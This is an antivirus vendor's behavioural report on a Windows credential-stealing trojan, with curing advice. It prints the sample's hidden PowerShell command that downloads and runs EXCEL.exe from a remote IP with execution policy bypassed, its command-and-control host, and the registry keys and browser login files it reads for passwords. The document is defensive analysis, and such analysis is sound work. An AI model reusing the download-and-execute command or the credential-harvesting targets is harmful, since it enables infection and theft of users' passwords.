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Exploit.Siggen3.20545
Added to the Dr.Web virus database:
2021-09-06
Virus description added:
2021-09-08
Technical Information
To ensure autorun and distribution
Modifies the following registry keys
[<HKCU>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0' = '%APPDATA%\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run] 'L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0' = '%APPDATA%\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0....
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Policies\Explorer\run] 'L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0' = '%APPDATA%\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0\L3Q7J4T2-J8A6-L6O4-...
Malicious functions
To complicate detection of its presence in the operating system,
blocks the following features:
User Account Control (UAC)
Downloads and executes
http://19#.#.194.242/excel.exe as %appdata%\excel.exe
Injects code into
the following system processes:
%WINDIR%\syswow64\notepad.exe
the following user processes:
Searches for registry branches where third party applications store passwords
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Trillian]
[<HKCU>\Identities\{91255D00-95D9-49F5-8E84-7C027F5283B7}\Software\Microsoft\Internet Account Manager\Accounts]
[<HKCU>\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts]
[<HKCU>\Software\Microsoft\Internet Account Manager\Accounts]
[<HKCU>\Software\Paltalk]
[<HKCU>\Software\Google\Google Talk\Accounts]
[<HKCU>\Software\Mirabilis\ICQ\NewOwners]
[<HKCU>\Identities\{91255D00-95D9-49F5-8E84-7C027F5283B7}\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts]
[<HKLM>\Software\Wow6432Node\Mirabilis\ICQ\NewOwners]
[<HKCU>\Software\AIM\AIMPRO]
[<HKCU>\Software\America Online\AIM6\Passwords]
[<HKCU>\Software\America Online\AOL Instant Messenger (TM)\CurrentVersion\Users]
[<HKCU>\Software\Microsoft\IdentityCRL]
[<HKCU>\Software\Microsoft\MSNMessenger]
[<HKLM>\Software\Wow6432Node\Miranda]
[<HKCU>\Software\Yahoo\Pager]
[<HKCU>\Software\Microsoft\Windows Live Mail]
Reads files which store third party applications passwords
%APPDATA%\mozilla\firefox\profiles.ini
%LOCALAPPDATA%\google\chrome\user data\default\web data
%LOCALAPPDATA%\google\chrome\user data\default\login data
%APPDATA%\opera software\opera stable\login data
Modifies file system
Creates the following files
%TEMP%\abdtfhghgdghghВќ.sct
%APPDATA%\excel.exe
%TEMP%\excel.exe
%APPDATA%\l3q7j4t2-j8a6-l6o4-w4g3-u5j7d0w2w5f0\l3q7j4t2-j8a6-l6o4-w4g3-u5j7d0w2w5f0.exe
%APPDATA%\l3q7j4t2-j8a6-l6o4-w4g3-u5j7d0w2w5f0\ut
%APPDATA%\l3q7j4t2-j8a6-l6o4-w4g3-u5j7d0w2w5f0\l3q7j4t2-j8a6-l6o4-w4g3-u5j7d0w2w5f0
%APPDATA%\l3q7j4t2-j8a6-l6o4-w4g3-u5j7d0w2w5f0\l3q7j4t2-j8a6-l6o4-w4g3-u5j7d0w2w5f0.pas
<Current directory>\~wrd0000.tmp
%ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\policy.vpol
%ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch
%ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch
%LOCALAPPDATA%\microsoft\vault\4bf4c442-9b8a-41a0-b380-dd4a704ddb28\policy.vpol
%APPDATA%\l3q7j4t2-j8a6-l6o4-w4g3-u5j7d0w2w5f0\kaeffyukw2.txt
%APPDATA%\l3q7j4t2-j8a6-l6o4-w4g3-u5j7d0w2w5f0\kaeffyukw4.txt
Sets the 'hidden' attribute to the following files
%APPDATA%\l3q7j4t2-j8a6-l6o4-w4g3-u5j7d0w2w5f0\l3q7j4t2-j8a6-l6o4-w4g3-u5j7d0w2w5f0.exe
Deletes the following files
%TEMP%\abdtfhghgdghghВќ.sct
%TEMP%\excel.exe
%APPDATA%\l3q7j4t2-j8a6-l6o4-w4g3-u5j7d0w2w5f0\kaeffyukw2.txt
%APPDATA%\l3q7j4t2-j8a6-l6o4-w4g3-u5j7d0w2w5f0\kaeffyukw4.txt
Modifies the following files
Substitutes the following files
Deletes itself.
Network activity
Connects to
'19#.#.194.242':80
'ka#########ivirus.firewall-gateway.net':4000
TCP
Other
'ka#########ivirus.firewall-gateway.net':4000
UDP
DNS ASK yo##ube.com
DNS ASK fa###ook.com
DNS ASK ou##ook.com
DNS ASK ka#########ivirus.firewall-gateway.net
Miscellaneous
Creates and executes the following
'%APPDATA%\excel.exe'
'%TEMP%\excel.exe'
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://19#.#.194.242/EXCEL.exe','%APPDATA%\EXCEL.exe');Start-Process '%APPDAT...' (with hidden window)
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Test-Connection -ComputerName youtube.com' (with hidden window)
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Test-Connection -ComputerName google.com' (with hidden window)
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Test-Connection -ComputerName facebook.com' (with hidden window)
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Test-Connection -ComputerName outlook.com' (with hidden window)
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Test-Connection -ComputerName bing.com' (with hidden window)
Executes the following
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Test-Connection -ComputerName youtube.com
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Test-Connection -ComputerName google.com
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Test-Connection -ComputerName facebook.com
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Test-Connection -ComputerName outlook.com
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Test-Connection -ComputerName bing.com
'%ProgramFiles(x86)%\internet explorer\iexplore.exe' %TEMP%\EXCEL.exe
'%WINDIR%\syswow64\notepad.exe'
'%ProgramFiles(x86)%\internet explorer\iexplore.exe' /stext "%APPDATA%\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0\kaeffyukw0.txt"
'%ProgramFiles(x86)%\internet explorer\iexplore.exe' /stext "%APPDATA%\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0\kaeffyukw1.txt"
'%ProgramFiles(x86)%\internet explorer\iexplore.exe' /stext "%APPDATA%\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0\kaeffyukw2.txt"
'%ProgramFiles(x86)%\internet explorer\iexplore.exe' /stext "%APPDATA%\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0\kaeffyukw3.txt"
'%ProgramFiles(x86)%\internet explorer\iexplore.exe' /stext "%APPDATA%\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0\kaeffyukw4.txt"
Curing recommendations
Windows
macOS
Linux
Android
If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space .
If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
Use Dr.Web Anti-virus for macOS to run a full scan of your Mac.
If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
Switch off your device and turn it on as normal.
Find out more about Dr.Web for Android
Download Dr.Web for Android
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